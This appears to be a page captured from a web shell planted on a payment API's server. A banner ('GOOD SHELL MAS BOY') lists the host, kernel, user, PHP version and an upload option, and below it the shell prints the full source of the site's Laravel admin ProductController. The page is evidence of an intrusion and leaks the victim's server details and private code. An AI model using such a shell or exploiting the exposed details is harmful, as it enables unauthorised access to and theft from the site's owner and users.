GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/api.vaspayment.com/app/Http/Controllers/Admin/ProductController.php
<?php

namespace App\Http\Controllers\Admin;

use App\Models\Product;
use Illuminate\Support\Str;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Validation\ValidationException;

class ProductController extends Controller
{
    public function index()
    {
        try {
            $products = Product::latest()->get();
            return response()->json([
                'status' => 'success',
                'data' => $products,
            ], 200);
        } catch (\Throwable $th) {
            return response()->json([
                'status' => 'error',
                'message' => $th->getMessage(),
            ], 401);
        }
    }

    public function storeOrUpdate(Request $request, Product $product = null)
    {
        try {
            $request->validate([
                'name' => 'required|string|max:100|unique:products,name' . ($product && $request->has('id') ? ',' . $product->id : ''),
                'status' => 'required',
                'commission' => 'required|string|max:100',
                'icon' => 'required|string|max:100',
            ]);
        } catch (ValidationException $th) {
            return response()->json([
                'status' => 'error',
                'message' => $th->getMessage(),
            ], 401);
        }

        try {
            if (!$request->has('id')) {
                $product = new Product;
            }

            $product->name = $request->input('name');
            $product->slug = Str::slug($request['name'], '-');
            $product->status = $request->input('status');
            $product->commission = $request->input('commission');
            $product->icon = $request->input('icon');
            $product->save();

            $message = $product->wasRecentlyCreated ? 'Product added' : 'Product updated';
            return response()->json([
                'status' => 'success',
                'message' => $message,
                'data' => $product,
            ], 200);
        } catch (\Throwable $th) {
            return response()->json([
                'status' => 'error',
                'message' => $th->getMessage(),
            ], 422);
        }
    }

    public function destroy(Request $request)
    {
        try {
            $validated = $request->validate([
                'id' => 'required|string|exists:products,id',
            ]);
        } catch (ValidationException $th) {
            return response()->json([
                'status' => 'error',
                'message' => $th->getMessage(),
            ], 422);
        }

        try {
            $product = Product::findOrFail($validated['id']);
            $product->delete();

            return response()->json([
                'status' => 'success',
                'message' => 'Product deleted successfully.'
            ], 200);
        } catch (\Exception $e) {
            return response()->json([
                'status' => 'error',
                'message' => $e->getMessage(),
            ], 500);
        }
    }
}